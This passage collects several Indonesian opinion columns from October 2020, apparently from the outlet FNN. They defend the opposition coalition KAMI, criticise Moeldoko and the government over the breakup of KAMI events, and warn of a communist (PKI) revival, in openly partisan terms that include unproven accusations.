melaksanakan cita-cita dan tujuan bernegara. Milsanya, soal hutang luar negeri yang abis-abisan. Investasi yang lebih memanjakan asing. Kerjasama dengan RRC yang mengkhawatirkan. Begitu juga dengan masuknya Tenaga Kerja Asing (TKA) China yang gila-gilaan di tengah pandemi Covid-19 yang meningkat. Penanganan Covid-19 yang acak-acakan. Ada Pembatasan Sosial Berskala Besar (PSBB), ada New Normal, dan kini Mini Lockdown. Entah berbasis undang-undang atau kebijakan reaktif yang bersifat adhok. Vaksin Cina menjadi bagian dari vaksin kegaduhan. Rakyat khususnya Purnawirawan TNI yang khawatir akan bangkitnya PKI malah disalah-salahkan. Katanya kewaspadaan itu yang membuat takut. Lalu haruskah abai pada PKI dan Komunisme ? Moeldoko itu mantan Panglima TNI, yang seharusnya lebih peka terhadap bahaya dan kegiatan laten PKI dan faham Komunisme. Yang sekarang sudah masuh di semua pusat-pusat kekuasaan. Bukankah korban kebiadaban PKI di Lubang Buaya adalah para Jenderal TNI, Pak Moeldoko? Anda ini aya-aya wae. Moeldoko semestinya berterimakasih atau bergabung dengan KAMI. Bukan main ancam-ancaman. Kekuasaan itu tidak langgeng Pak Moeldoko. Yang sekarang gagah dan duduk di atas kursi dengan posisi memerintah, besok sudah keriput. Pandangan kosong di kursi goyang. Penyakitan ini dan itu pula. Tak berdaya lagi. Walaupun dia memasang foto di ruang tamu berseragam lengkap bintang empat. KAMI itu kekuatan moral. Bukan kekuatan politik. Bukan pula kekuatan makar. Bahwa berdampak secara politik itu soal lain Pak Moeldoko. Itu soal respons publik dan masyarakat. Karena rakyat melihat pemerintah telah membuat jarak dengan rakyat. Sudah begitu berjalan di arah yang salah. Semakin menjauh dari cita-cita dan tujuan bernegara. Arahnya adalah pemerintah memaksakan kepentingan kepada rakyat. Bukan mendengar aspirasi dan keinginan rakyat. Lihat saja soal Pilkada di musim pandemi Covid-19. Rakyat tidak boleh berkumpul sana-sini, eh tahapan Pilkada tetap diproses. Teriakan agar Pilkada ditunda dulu tidak didengar. Ya pemerintah tuli dan bebal kepada suara rakyat. Dengan demikian, pemerintah justru telah nyata-nyata membuat gangguan atas stabilitas politik di tengah ketidakstabilan ekonomi, pendidikan dan kesehatan. Jika Pak Moeldoko mengancam untuk membuat perhitungan, apakah rakyat juga tidak bisa berhitung ? Pertanyaan yang boleh dinilai bodoh, tetapi jawabannya dapat menjadi terapi kejut lagi. Kebenaran sehat adalah 2+2 sama dengan empat. Tapi kebenaran PKI dan Komunisme 2+2 harus dipaksakan menjadi lima. Dan rakyat harus menghafal kategori-kategori palsu itu. KAMI itu mengajak anda agar mari berhitung dengan sehat, Pak Jenderal. Penulis adlah Pemerhati Politik dan Kebangsaan.

KAMI Dipersekusi, Tanda Imun Penguasa Bermasalah

by Tony Rosyid Jakarta FNN – Jum’at (02/10). Tanggal 18 Agustus Koalisi Aksi Menyelematkan Indonesia (KAMI) deklarasi di Tugu Proklamasi. Disambut dengan deklarasi di berbagai daerah. Lebih dari sebulan, dukungan ke KAMI terus mengalir. Permintaan deklarasi tak pernah berhenti. Jawa, Sumatera, Sulawesi, Maluku, NTB, bahkan luar negeri. Dukungan provinsi dan kabupaten/kota juga semakin rapat. Melihat perkembangan KAMI yang begitu masif, rupanya ada pihak yang khawatir, bahkan panik nggak karuan. Siapa mereka? Sebut saja penguasa yang panik. Cirinya sangat jelas dan sangat gamblang! Biar ini jadi sarana komunikasi yang dialogis. Ada pandangan yang berbeda antara KAMI dengan penguasa. Penguasa bilang “negara ini sedang baik-baik saja”. KAMI berpendapat ”negara sedang sakit”. Demokrasinya sakit, hukumnya sakit, ekonominya sakit, politiknya sakit dan banyak penyakit lainnya. Bicara Komisi Pemberantasan Korupsi (KPK), ingat Harun Masiku, Novel Baswedan, Djoko Djandra dan perubahan UU KPK. Bicara aparat, teringat operasi mereka di pilpres 2019 lalu. Bicara ekonomi, sekarang anjlok, sudah minus -5,32? Resesi ekonomi yang di depan mata mengingatkan pada Pemutusan Hubungan Kerja (PHK) dan Tenaga Kerja Asing (TKA) China. Bertambah jumlah pengangguran dan orang-orang miskin. Bicara demokrasi, teringat banyak persekusi. Ini masalah, kata KAMI. Jadi, jangan pura-pura nggak ada masalah. KAMI lahir sebagai tuntutan tanggung jawab kebangsaan untuk membantu pemerintah menyelamatkan negeri dari berbagai masalah itu. Yang penting, pemerintah jujur, apa adanya. Jangan ditutup-tutupi. Jangan ada dusta diantara kita. KAMI lahir sebagai gerakan moral. Penguasa saja yang menganggap itu gerakan politik. Bukan memperbaiki, tetapi malah mau mengamputasi. Oh ya? Ngeri kali bahasanya. Bergantung penyakitnya. Kalau diare, perlu diobati. Tapi, kalau diabet, dan sebagian anggota tubuh sudah membusuk, dokter biasanya menyarankan untuk diamputasi. Maksudnya? Ini bicara medis lho. Tapi, teori medis sering pula berlaku di dunia sosial dan politik. Karena dianggap sebagai gerakan politik, maka penguasa merasa ini perlu diantisipasi. Takutnya, gerakan ini akan melakukan upaya amputasi. Satu sisi, berkumpul, berorganisasi dan menyatakan pendapat itu hak yang dilindungi konstitusi. Di sisi lain, menguatnya organisasi bisa jadi ancaman bagi penguasa yang sedang dililit masalah pandemi dan resesi ekonomi. KAMI, gerakan yang dipimpin oleh dua tokoh organisasi terbesar NU-Muhammadiyah, yaitu Din Syamsudin dan Rachmat Wahab. Dibantu oleh Gatot Nurmantyo dari mantan militer, semakin hari semakin kuat karena semakin besarnya dukungan. Sementara penguasa makin melemah karena pandemi covid-19 yang tak ditangani secara tepat membuat semakin sulit situasi ekonomi. Dilarang. Padahal deklarasi KAMI itu bagian dari hak berekspresi yang dilindungi konstitusi. Dibiarkan, makin menghantui. Posisi ini yang menyulitkan bagi penguasa. Maka, terjadilah kepanikan. Adanya kepanikan menunjukkan ketidakmampuan penguasa membangun komunikasi yang baik dengan pihak-pihak yang dianggap berseberangan. Termasuk dengan KAMI. Penguasa merasa huebaaattts Selama ini, penguasa merasa sangat kuat. Cukup percaya diri. Semua resources masih normal dan dibawah kendali. Instrumen kekuasaan ada di genggaman, dan bisa dimanfaatkan kapan saja untuk melakukan penekanan-penekanan. Pukul sana pukul sini, itu biasa saja. Upaya persekusi dengan cara "nabok nyilih tangan" hanya efektif jika dilakukan oleh penguasa, ketika masih dalam kondisi sangat kuat. Orla dan Orba melakukan yang sama ketika itu. Tepatnya, represi terhadap oposisi. Tetapi keduanya jatuh ketika ekonomi terpuruk. Ingat dan fahami itu baik-baik. Saat ini, kita bicara tentang ekonomi yang semakin terpuruk. Semua menyadarinya. Ini artinya, imun penguasa sedang rentan. Jika tak mampu menahan krisis, maka upaya persekusi dan tindakan represi akan menjadi senjata makan tuan. Menyerang balik di saat imun betul-betul melemah, karena dihajar krisis ekonomi. Situasi ini memungkinkan terjadinya amputasi. Beda jika penguasa melihat KAMI sebagai gerakan moral. Dirangkul dan diberi ruang untuk berdiskusi dan berekspresi. Tak ada persekusi. Tentu, ini akan menentramkan situasi. Sayangnya, selalu ada persekusi di setiap KAMI mengadakan deklarasi. Di Bandung dipersekusi. Di Surabaya, NTB, bahkan di Jakarta, terus terjadi persekusi. Sudahlah, rakyat juga tidak bodoh. Siapa pemain dibalik peristiwa persekusi terhadap deklarasi KAMI. Rakyat sudah tahu. Bahkan kuntilanak dan genderuwo juga tahu. Rakyat tahu siapa dibalik penusukan ulama, imam masjid dan perusakan mushalla. Rakyat tahu itu. Nggak usah menuduh PKI. Tidak! Itu kerja Intel. Peristiwanya berulang dan polanya sama. Gampang dikenali dan diidentifikasi. Tidak satu kejadian, tetapi banyak kejadian. Tidak satu tempat, tetapi banyak tempat. Waktunya berdekatan. Polanya sama dan sebangun. Itu kerja dan operasi orang-orang profesional. Kerjanya intel melayu. Mereka yang kendalikan gerombolan berbayar dan orang gila mendadak. Untungnya, KAMI nggak terpancing, meski terus diprovokasi. Ini sikap matang yang harus terus, dan mampu ditunjukkan oleh KAMI. Supaya publik tetap melihat bahwa KAMI betul-betul gerakan moral. Bukan gerakan politik. Bukan pula gerakan makar. Sekali terpancing, ada dasar hukum untuk membubarkan KAMI, dan menangkap para tokohnya. Ini pola lama yang sudah baku. Hampir setiap rezim yang lama berkuasa melakukan pola seperti ini. Tindakan represi dan praktek persekusi adalah bagian yang akan menguji ketahanan dan ketangguhan KAMI. Mampukah imun KAMI tetap bertahan di tengah lautan persekusi itu? Jika mampu, maka KAMI tidak saja akan terus berlimpah simpati, tetapi mampu menyiapkan diri jika "secara alamiah" jika terjadi proses amputasi nanti. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

KAMI Kebanjiran Kerkah Playing Victim Dari Penguasa

by Dr. Masri Sitanggang Medan FNN – Jum’at (02/10). Dihujani opini negatip, Koalisi Aksi Menyelamatkan Indonesia (KAMI) malah berlimpah simpati. Inilah dua hal yang membuat KAMI disambut dan sekaligus membuat penguasa gusar nggak karuan. Akankah Penguasa bertindak elegan? We are at the point of no return. Menyusul deklarasi KAMI Surabaya dan dukungan Purnawiran TNI pada acara Tabur Bunga di Taman Makam Pahlawan (TMP) Kalibata yang dipersekusi, Muldoko Kamis (1 Oktober 2020) mengeluarkan pernyataan bernada ancaman. Kepala Staf Presiden, yang menjelang Pilpres 2019 lalu menyerukan perang total melawan pasangan Capres/Cawapres 02, itu memperingatkan KAMI untuk menyampaikan aspirasinya lewat jalur hukum. Entahlah, apa Muldoko menganggap berkumpul, berserikat dan menyampaikan pendapat di muka umum serta berkirim surat ke DPR RI seperti yang telah dilakaukan KAMI, dianggap tidak sesuai dengan hukum. Bagaimana cara Moeldoko memahami masalah hukum, terlihat enah dan amatiran. Luar biasa KAMI. Sejak dideklarasikan 18 Agustus 2020 lalu, KAMI tidak henti dihujani fitnah, cerca dan umpatan. Dinarasikan, malah didiskripsikan, seolah KAMI adalah kumpulan orang-orang yang sakit hati karena terlempar dari kekuasaan. Orang-orang yang ingin merebut kekauasaan. Kumpulan orang-orang yang penya kepentingan. Antek Orde Baru yang ingin come back dan lain-lain lagi, yang pada pokoknya menggambarkan KAMI itu jelek dan sejenisnya. Sepertinya kian terang bahwa, kutup demokrasi di negeri ini berangsur berubah. Dalam demokrasi yang sehat, kutup itu adalah pemerintah/penguasa di satu sisi, dan partai oposisi serta pers dan perangkat lainnya di sisi lain. Kini, kutub itu akan berubah menjadi pemerintah/penguasa di satu sisi dan KAMI di sisi lain. Ini terjadi karena partai-partai dan pers mainstream sudah berasa bagian dari penguasa. Hebatnya lagi, yang jadi oposisi sepertinya justeru adalah pemerintah, bukan KAMI. Wajar, memang, penguasa merasa gusar. Soalnya, KAMI lahir di saat-saat penguasa sudah merasa berada di zona nyaman. Ibarat berkenderaan, penguasa sudah merasa di jalan arteri. Jalan ringkas mencapai tujuan tanpa hambatan. Tinggal tancap gas saja. Partai-partai bukan lagi halangan. Malah sudah menjadi tenaga pendorong sehingga kenderaan memiliki mesin turbo. Kalau pun ada hambatan, diperkirakan itu tak lebih dari sobekan kertas di tepi jalan yang akan melayang diterpa angin kencang kenderaan. Itulah sebabnya DPR RI dan pemerintah, yang kita sebut saja sama-sama sebagai penguasa, sangat percaya diri untuk tidak menghiraukan suara yang minta penghentian pembahasan atau judicial review sejumlah RUU/UU yang tidak berpihak pada rakyat . Misalnya RUU Omnibus Law Cipta Kerja, Perppu Nomor 1/2020 yang telah menjadi UU Nomor 2/2020. Aada juga Minerba, RUU HIP, RUU BIP dan lain-lain. Bahklan Majelis Ulama se-Indonesia (MUI) yang berteriak keras menolak RUU HIP dan RUU BIP, dianggap angin lalu saja. Menyedihkan memang, di negara yang mayoritas Islam, lembaga Ulama tidak digubris. Tetapi, itulah kenyataannya. Malah, sudah ada yang berani coba melempar ide untuk membubarkan lembaga itu dengan nada melecehkan kekuasaan. KAMI hadir untuk maksud meluruskan kiblat berbangsa yang dinilai sudah melenceng. Kiblat bangsa yang dimaksud adalah cita-cita dan tujuan bernegara sesuai dengan UUD 1945 yang diberlakukan berdasarkan Dekrit Presiden 5 Juli 1959. Apa saja yang telah melenceng? Seberapa jauh melencengnya? Dituangkan dengan jelas dalam Maklumat KAMI. Termasuk dalam Maklumat tersebut adalah delapan tuntutan. Maklumat itu pun telah pula dikirimkan ke para pemegang kekuasaan di negerei ini. Hebatnya, meski bukan organisasi struktural, dari sejak akan dideklarisika, koalisi yang dibidani antara lain oleh Din Syamsuddinini, MS Kaban, Ahmad Yani, Abdullah Hehamahua, Syahganda Nainggolan, Marwan Batubara. Kemudian merangkul Jendral TNI (Purn.) Gatot Nurmantio dan KH Rokhmat Wahab, Rocky Gerung serta sejumlah aktivis ini, sudah mendapat sambutan luar biasa dari masyarakat. Sambutan masyarakat ini sangat mungkin karena setidaknya dua hal. Pertama, deklarator KAMI dikenal sebagai orang yang relative dapat dipercaya mewakili pikiran masyarakat. Mewakili kelompok Islam dan bukan Islam. Tokohnya mewakili kelompok dari arus utama Islam Muhammadiyah dan Nahdatul Ulama. Ada juga kelompok sipil dan TNI (Purnawirawan), kelompok intlektual dan berbagai profesi. Dengan demikian, KAMI tepat menyandang Gerakan Moral. Kedua, apa yang dituangkan dalam Maklumat Menyelamatkan Indonesia, secara khusus delapan tuntutan yang ditujukan kepada pengelola negara, senada dengan apa yang dipikirkan dan dirasakan rakyat. Artinya, delapan tuntutan KAMI itu dirasakan rakyat persis mewakili tuntutan mereka. Dengan demikian, delapan tuntuntan KAMI itu bisa disebut PANTURA (Delapan Tuntutan Rakyat). Begitulah sehingga pertumbuhan dan dukungan terhadap KAMI serasa mengejutkan. Tanpa ada yang mengarah-arahkan, tanpa ada yang mendorong-dorong. Tapa pula ada aliran dana, namun berbagai daerah berebut deklarasi dan menyatakan dukungan. Kalau saja ini oraganisasi struktural biasa dan formal, tentulah untuk membentuk kepengurusan sampai ke tingklat Kabupaten/kota di seluruh Indonesia, memerlukan waktu bertahun-tahun. Juga biaya yang tidak sedikit. Tapi KAMI tumbuh dari hati dan jiwa rakyat, sehingga segalanya di luar kebiasaan. Boleh jadi dua hal itu pula yang menimbulkan kegusaran bagi penguasa. KAMI dianggap sebagai sebuah kekuatan yang muncul di luar dugaan. Sekaligus juga sulit dikendalikan. KAMI menjadi penghalang bagi arah dan laju kenderaan yang sedang dipacu. Setidaknya, kelahiran KAMI menyadarkan penguasa bahwa mereka tidak lagi sedang berada di jalan arteri tanpa hambatan. Penguasa mencoba menyingkirkan KAMI. Caranya, itu tadi, labelisasi KAMI dengan yang jelek-jelek. Ada pula upaya-upaya melahirkan “KAMI” tandingan ,dengan narasi dukungan kepada penguasa dan mengecam KAMI Gerakan Moral yang di deklarisikan di tugu proklamasi. Lebih dari itu, ada upaya-upaya yang terasa dirancang untuk melakukan persekusi terhadap kegiatan KAMI di daerah-daerah. Moeldoko sudah pula bersuara sedikit mengancam. Tetapi ini sungguh di luar dugaan. Tindakan-indakan upaya “menyingkirkan” itu bukannya megecilkan KAMI. Malah sebaliknya membesarkan KAMI. Akibatnya, KAMI semakin populer dan menuai banjir simpati dan dukungan. Sepertinya KAMI sedang kebanjiran berkah playing victim dari penguasa. Permintaaan deklarasi sudah hamper meliputi semua Kabupaten/Kota. Entahlah, apakah “oposisi” terhadap KAMI ini satu saat nanti berubah jadi tindakan repressif penguasa. KSP Moeldoko yang tahu persis. Tapi jika ini terjadi, negara ini akan hancur sehancur-hancurnya. Percayalah ! KAMI telah menjadi gerakan kekuatan rakyat yang dahsyat. Menurut hematku, penguasa negeri ini harus memiliki political will untuk mendengar suara rakyat. Cuma itu yang bisa menghindari kekacauan negeri ini. Penguasa harus tampil elegan. Menghadapi gerakan moral KAMI, penguasa harus menunjukkan sikap lebih bermoral. Dengan demikian, moral penguasa berada di atas moral KAMI. Jangan melontarkan pernyataan-pernyataan atau melakukan tindakan yang justeru menunjukkan rendahnya moralitas penguasa. Adalah elegan bila penguasa menjawab secara akademis dan melakukan tindakan praktis berkenaan dengan PANTURA. Mendengar, mendiskusikan pandangan dan memenuhi aspirasi rakyat, tidaklah akan menjatuhkan wibawa penguasa. Itu justeru meningkatkan moralitas penguasa, meningkatkan trust rakyat kepada penguasa serta menumbuhkuatkan dukungan terhadap penguasa. Bukankah pemerintah (penguasa) ini diamanahkan konstitusi untuk melindungi segenap tumbah darah Indonesia, mencerdaskan kehidupan bangsa dan menciptakan kesejahteraan serta keadilan sosial ? Bagaimana pemerintah dapat mengukur apakah tugas itu sudah dijalankan dengan baik? Atau malah sudah menyimpang kalau tidak mendengar jeritan rakyatnya? Suara rakyat itu telah dituangkan dalam bentuk PANTURA (Delapan Tuntutan Rakyat). Mendengar PANTURA adalah tindakan penguasa yang elegan dan bermoral tinggi. Itu kalau pemerintah memang bermaksud berkeja untuk rakyat. Kalau bekerja untuk kepentingan yang lain, aku tidak punya jawaban. Tetapi KAMI sudah menentukan sikap, “we are at the point of no return”. KAMI berada pada posisi yang tidak ada tempat untuk kembali. KAMI datang bukan untuk pulang! Wallahu a’lam bisshawab. Penulis adalah Ketua Panitia #Masyumi Reborn & Ketua Komisi di MUI Medan.

Gatot Nurmantyo, KAMI, dan Bahaya Neo-Komunis

by Mochamad Toha Surabaya FNN - Jumat (02/10). Tampaknya konflik horizontal bakal terjadi jika setiap agenda maupun deklarasi Kesatuan Aksi Menyelamatkan Indonesia (KAMI) ditolak oleh “massa bayaran”. Contohnya, kasus kericuhan Rabu sore, 30 September 2020, di TMP Kalibata. Saat acara ziarah dan tabur bunga purnawirawan TNI di kawasan Jakarta Selatan itu tengah berlangsung, ada aksi demo yang “menolak” dari sekelompok massa. Mereka diduga adalah massa bayaran yang bermaksud melakukan teror. Pantas jika aksi pelecehan seperti ini kemudian mendapat perlawanan dari ormas FKPPI dan purnawirawan berseragam TNI dari Kopassus, Marinir, dan Paskhas yang tergabung dalam Purnawirawan Pengawal Kedaulatan Negara (PPKN) tersebut. Pernyataan sikap sempat pula dibacakan Letjen TNI Mar (Purn) Suharto, mantan Komandan Korps Marinir ke-12 TNI AL, meski pernyataan itu nyaris dirampas Dandim Jakarta Selatan Kolonel Inf Ucu Yustia, namun gagal. Dalam ziarah dan tabur bunga itu juga dihadiri mantan Panglima TNI Jenderal TNI (Purn) Gatot Nurmantyo yang juga Presidium KAMI. Gatot dan rombongan purnawirawan nyaris pula tak bisa masuk karena dihalangi Kolonel Ucu Yustia. Para purnawirawan TNI turun gunung melakukan aksi moral. Purnawirawan adalah hati dan cermin dari TNI aktif yang masih terikat oleh disiplin komando. Fenomena kegelisahan ini semestinya ditangkap dengan sepenuh jiwa karena kondisi ini tidak biasa. Wajar jika para purnawirawan TNI ini mendukung gerakan moral Gatot melalui KAMI. Ini karena mereka juga ikut merasakan kekhawatiran yang juga dirasakan Gatot terkait dengan indikasi munculnya bahaya PKI dan Neo-Komunis di Indonesia. Selain ulama, santri, dan aktivis Islam, maka TNI adalah sasaran PKI. Kepekaan elemen ini cukup tinggi terhadap ancaman bahaya PKI dan Komunisme. Oleh karenanya agenda ziarah dan tabur bunga pada 30 September 2020 menjadi sinyal dari kepekaan tersebut. Fenomena turun gunung para Purnawirawan TNI ini menjadi peristiwa politik yang menarik. Mantan Panglima TNI Gatot Nurmantyo yang bersedia menjadi salah satu Presidium KAMI adalah sebuah kejutan. KAMI, sebuah gerakan sangat kritis terhadap penyelenggaraan negara pimpinan Presiden Joko Widodo. Gatot tentu tidak sendirian, ada banyak barisan purnawirawan di belakangnya. Presiden seharusnya memahami perasaan old soldiers yang sedang mengunggah memori. Sejak Deklarasi pada 18 Agustus 2020 di Tugu Proklamasi, kehadiran KAMI disambut antusias dan diminta untuk deklarasi di berbagai daerah. Lebih dari sebulan, dukungan untuk KAMI terus mengalir. Permintaan deklarasi tidak berhenti. Jawa, Sumatera, Sulawesi, Maluku, NTB, bahkan luar negeri. Dukungan provinsi dan kabupaten semakin rapat. Melihat perkembangan KAMI yang begitu masif, rupanya ada pihak yang khawatir, bahkan panik. Siapa yang panik? Pengamat Politik dan Pemerhati Bangsa Tony Rosyid menyebut: penguasa. Jelas dan gamblang! “Biar ini jadi sarana komunikasi yang dialogis,” tulisnya. Ada pandangan yang berbeda antara KAMI dengan penguasa. “Penguasa bilang: negara ini sedang baik-baik saja. KAMI berpendapat: negara sedang sakit. Demokrasinya sakit, hukumnya sakit, ekonominya sakit, dan banyak penyakit lainnya,” lanjut Tony Rosyid. KAMI lahir bukan untuk “memusuhi” Presiden. Tapi, tuntutan tanggung jawab kebangsaan untuk membantu pemerintah menyelamatkan negeri dari berbagai masalah itu. Yang penting, pemerintah jujur, apa adanya, jangan ditutup-tutupi. Kedua, KAMI lahir sebagai gerakan moral. Tapi, penguasa menganggap itu gerakan politik. Bukan memperbaiki, tapi mau mengamputasi. Karena dianggap sebagai gerpol, maka KAMI perlu diantisipasi. Takutnya, gerakan ini akan melakukan upaya amputasi. Saat Deklarasi, di satu sisi, berkumpul, berorganisasi dan menyatakan pendapat itu hak yang dilindungi konstitusi. Namun, di sisi lain, menguatnya organisasi ini bisa jadi ancaman bagi penguasa yang sedang dililit masalah pandemi dan resesi ekonomi. KAMI, gerakan yang dipimpin oleh dua tokoh organisasi terbesar NU-Muhammadiyah, yaitu Prof Rachmat Wahab dan Prof Din Syamsudin, dan dibantu Gatot Nurmantyo dari militer, semakin hari semakin kuat karena semakin besarnya dukungan. Sementara penguasa semakin melemah karena pandemi Covid-19 yang tidak ditangani secara tepat membuat semakin sulit situasi ekonomi. Ekonomi, kini minus 5,32 mengarah ke resesi ekonomi berbuntut PHK, jumlah pengangguran dan orang miskin bertambah. Bicara demokrasi, teringat banyak kasus persekusi atas ulama dan ustadz maupun tokoh yang dianggap berseberangan dengan pemerintah. Bagi KAMI, ini masalah. Jadi, jangan pura-pura tidak ada masalah. Seperti persekusi pada Gatot Nurmantyo di Surabaya. Acara silaturhmi KAMI yang dihadiri Gatot, di Surabaya, Senin (28 September 2020) dibubarkan oleh polisi. Pembubaran diduga karena ada aksi penolakan dari sejumlah orang. Kejadian ini terekam dalam video singkat yang tersebar di media sosial. Acara Deklarasi KAMI Jawa Timur sedianya akan dilaksanakan di Gedung Juang DHD 45 JL. Mayjend Sungkono Surabaya. Semua persyaratan, pemberitahuaan dan bahkan standart protokol kesehatan terkait Covid-19 juga sudah dipenuhi. Pemberitahuaan pada Polda Jatim pun sudah disampaikan. Bahkan kepada Polsek Sawahan yang membawahi wilayah hukum Gedung Juang 45 pun sudah diberi pemberitahuaan. Ijin pemakaian dan kontrak gedung dari pengelola sudah dikantongi. Pada Minggu pagi, 27 September 2020, salah seorang panitia ditelpon Polisi, diminta untuk membatalkan acara tersebut. Namun, KAMI bergeming, mereka tetap fight acara tetap harus berlangsung sesuai rencana. Sebab, persiapan sudah matang. Semua kelengkapan persyaratan pun sudah dipenuhi. Gatot Nurmantyo dan Prof. Rachmat Wahab dari Presedium KAMI Pusat sudah memastikan diri hadir. Gatot berangkat dari Jakarta. Senin pagi, 28 September 2020 baru akan tiba di Surabaya. Sedangkan Prof Rachmat Wahab sudah berada di Jombang, sebab dia memang asli Jombang, keluarga Pondok Pesantren Tambak Beras. Karena menekan Panitia tidak berhasil, rupanya polisi beralih melakukan penekanan kepada Pengelola Gedung Juang 45. Minggu malamnya pengelola meminta ketemu Panitia. Mereka bercerita banyakbahwa mereka ditelpon bolak balik oleh Polda Jatim dan Polrestabes Surabaya. “Kami diminta Polisi untuk tidak memfasilitasi acara ini,” kata seorang pengelola Gedung. Pihak pengelola Gedung tentu punya hak untuk membatalkan ijin yang telah mereka berikan sebelumnya. KAMI sangat bisa memahami alasan mereka. Jadi, Gedung Juang 45 sudah tidak bisa dipakai. Tapi secara informal, KAMI Jatim meminta ijin kepada Pengelola untuk memakai lapangan saja. Pihak Pengelola tidak menyampaikan penolakan, tapi juga tidak melarang. Mereka berujar, “Kami tidak mau ikut ambil resiko.” Karena segala persiapan sudah matang. Sebagian peserta dari Kabupaten/Kota yang jauh pun sudah ada yang berangkat, diputuskan acara Deklarasi KAMI Jatim tetap dilaksanakan sesuai jadwal. Tempatnya di lapangan sekitar gedung tersebut. Semua peserta yang bertanya kepastian tempat tetap acara, diberi jawaban bahwa acara di (lapangan) Gedung Juang 45. Pada hari H, Senin pagi 28 September 2020, Gatot dan Prof Rachmat Wahab sudah sampai di Surabaya. Kemudian Panitia membawa mereka untuk transit di penginapan Jabal Nur JL. Jambangan. Karena Gatot dan Prof. Rachmat berada di Jabal Nur, maka sebagian Kiai, Habaib dan para tokoh yang sedianya langsung ke lokasi acara Gedung Juang, mereka pun singgah dulu ke Jabal Nur untuk bertemu Gatot dan Prof Rahmat. Setidaknya, ada sekitar 70 orang, dari total 150 tokoh yang diundang untuk ikut deklarasi. Sebagian langsung ke Gedung Juang 45, sebagaiannya mungkin berhalangan hadir. Di Jabal Nur, para undangan sarapan dan melakukan ramah tamah dengan gayeng. Saat ramah-tamah itulah mereka dapat informasi dari peserta yang berada di Gedung Juang 45, bahwa situasi di lokasi tidak memungkinkan mereka untuk datang. Ada massa pendemo yang entah dari mana. Polisi pun banyak di lokasi. Sebagian undangan yang mencoba untuk mendekat ke lokasi mendapatkan persekusi dari orang-orang yang tidak dikenal. Mendapat informasi seperti itu, Panitia berembug. Panitia putuskan tidak jadi melaksanakan acara di Gedung Juang 45. Gatot, Prof Rahmat, dan para tokoh yang sudah siap berangkat ke lokasi, dicegah. Panitia minta mereka semua untuk tetap di Jabal Nur saja. “Kita lanjut ramah tamah di sini saja, hingga makan siang nanti,” kata seorang Panitia. Acara informal. Namanya kedatangan orang Jakarta, apalagi tokoh seperti Presidium KAMI Gatot Nurmantyo dan Prof Rahmat, maka keduanya pun diminta untuk berbicara sekedar cerita-cerita ringan terkait situasi Bangsa, Covid-19 dan lain sebagainya. Setelah Prof Rachmat, giliran Gatot berbicara, terdengar suara bising di luar. Di luar ada sound system berkuatan besar diangkut satu truk dengan beberapa orang di atasnya. Mereka ini pendemo atas nama “Surabaya Adalah Kita”. Di saat Gatot sedang berbicara, tiba-tiba masuklah beberapa orang yang mengaku dari Polda Jatim. Tak seorang pun memakai seragam Polisi dan ketika dimintai surat tugas, mereka tidak bisa menunjukkannya. Tapi, Wakil Direktur Intelkam AKBP Iwan Surya Ananta langsung maju mendekati Gatot yang sedang bicara. Dia memaksa Gatot berhenti. Sesaat kemudian kawan-kawannya yang lain pun ikutan merangsek. “Ini bapak-bapak dari Kepolisian meminta saya berhenti bicara. Tidak apa-apa, mereka hanya menjalankan tugas,” kata Gatot dengan lembut. Kemudian Gatot pun mengakhiri bicaranya. Sempat akan terjadi perlawanan. Teriakan takbir pun sudah bertaluan, yang diselingi pekikan merdeka. Tapi, Gatot Nurmantyo dan beberapa tokoh lainnya berhasil mencegah. Penulis adalah Wartawan Senior FNN.co.id

Waspada Terhadap PKI Itu Positif & Harus! (Bagian-1)

Tulisan ini hanyalah pendapat pribadi. Tidak mewakili siapa-siapa dan lembaga apapun. Boleh saja setuju, dan boleh juga tidak setuju. Maaf kalau agak panjang, sehingga dibagi menjadi dua tulisan! by Shamsi Ali Al-Kajangi New York City FNN – Jum’at (02/10). Setiap tanggal 30 September, dikenang sebagai salah satu hari kelam dalam perjalanan sejarah bangsa Indonesia. Sebab di hari itulah banyak Jenderal, tokoh bangsa dan agama yang dibunuh oleh kelompok orang berideologi Komunisme. Mereka tergabung dalam sebuah partai yang disebut PKI atau Partai Komunis Indonesia. Saya tidak perlu lagi membahas siapa dan apa itu PKI, ideologi dan agendanya. Karena saya yakin semua anak bangsa yang memiliki kepedulian pasti sudah tahu. Juga paham dan sadar akan apa yang pernah terjadi dengan PKI di negeri ini. Yang ingin saya sampaikan hanya sebuah kewaspadaan (al-hadzar). Sikap yang harusnya terbangun oleh setiap putra-putrì bangsa. Bahwa ada masa, dimana peristiwa kelam itu boleh saja terulang kembali. Sebab sejarah kerap terulang, walau dalam warna dan bentuk yang berbeda. Masihkah & Perlukah Diwaspadai? Ada sebagian yang mengatakan bahwa isu PKI atau faham komunisme harusnya tidak lagi perlu dibahas atau diributkan. Beberapa alasan yang disampaikan, antara lain, bahwa ideologi Komunisme telah selesai (berakhir). Komunis itu sudah mati terkubur. Dengan ambruknya Uni Soviet, seolah paham komunisme juga telah runtuh. Bahkan dengan perubahan konstalasi dunia, dimana Rusia dan Amerika dengan aliansi Uni Eropa mengakhiri perang dingin, juga berarti ideologi Komunis telah berakhir. China yang dikenal sebagai negara Komunis juga ternyata mengalami “shifting” atau pergeseran dari komunisme kepada paham yang nampaknya lebih dominan secara kapitalisme dan liberalisme. China semakin membuka diri secara ekonomi. Perkiraan di atas nampaknya terlalu menyederhanakan permasalahan. Karena sesungguhnya isu Komunis dalam konteks Indonesia tidak harusnya selalu dikaitkan dengan Rusia atau China. Tapi memiliki tendensi pemikiran dan karakternya sendiri. Selain itu, ideologi itu adalah faham atau pemikiran yang mempengaruhi karakter. Karenanya ideologi tidak selalu bubar dengan bubarnya sebuah institusi, termasuk organisasi atau negara. Begitu juga dengan PKI dan faham komunisme di Indonesia. Ideologi atau faham biasanya akan nampak melalui gejala-gejala (symptoms) yang kemudian berkembang dalam bentuk karakter dan aksi. Gejala ini terkadang sangat halus, sering menipu, bahkan tidak jarang dibungkus oleh teori-teori atau konsep-konsep yang menawan dan membuai. Saya jadi teringat kenapa Menteri Agama begitu “obsessed” dengan isu radikal? Tentu karena ada gejala-gejala, yang boleh jadi dicurigai sebagai gejala-gejala radikalisme. Sehingga berdasarkan gejala itu sang Menteri kemudian menghembuskan isu “radikal” agar terbangun kewaspadaan. Masalahnya kemudian, kenapa ketika isu PKI dihembuskan berdasarkan gejala-gejala untuk membangun kewaspadaan, justeru dituduh “mengganggu” bahkan membahayakan pemerintahan? Sehingga usaha-usaha mereka yang mengingatkan bangsa ini untuk waspada dihalangi di mana-mana. Saya menilai 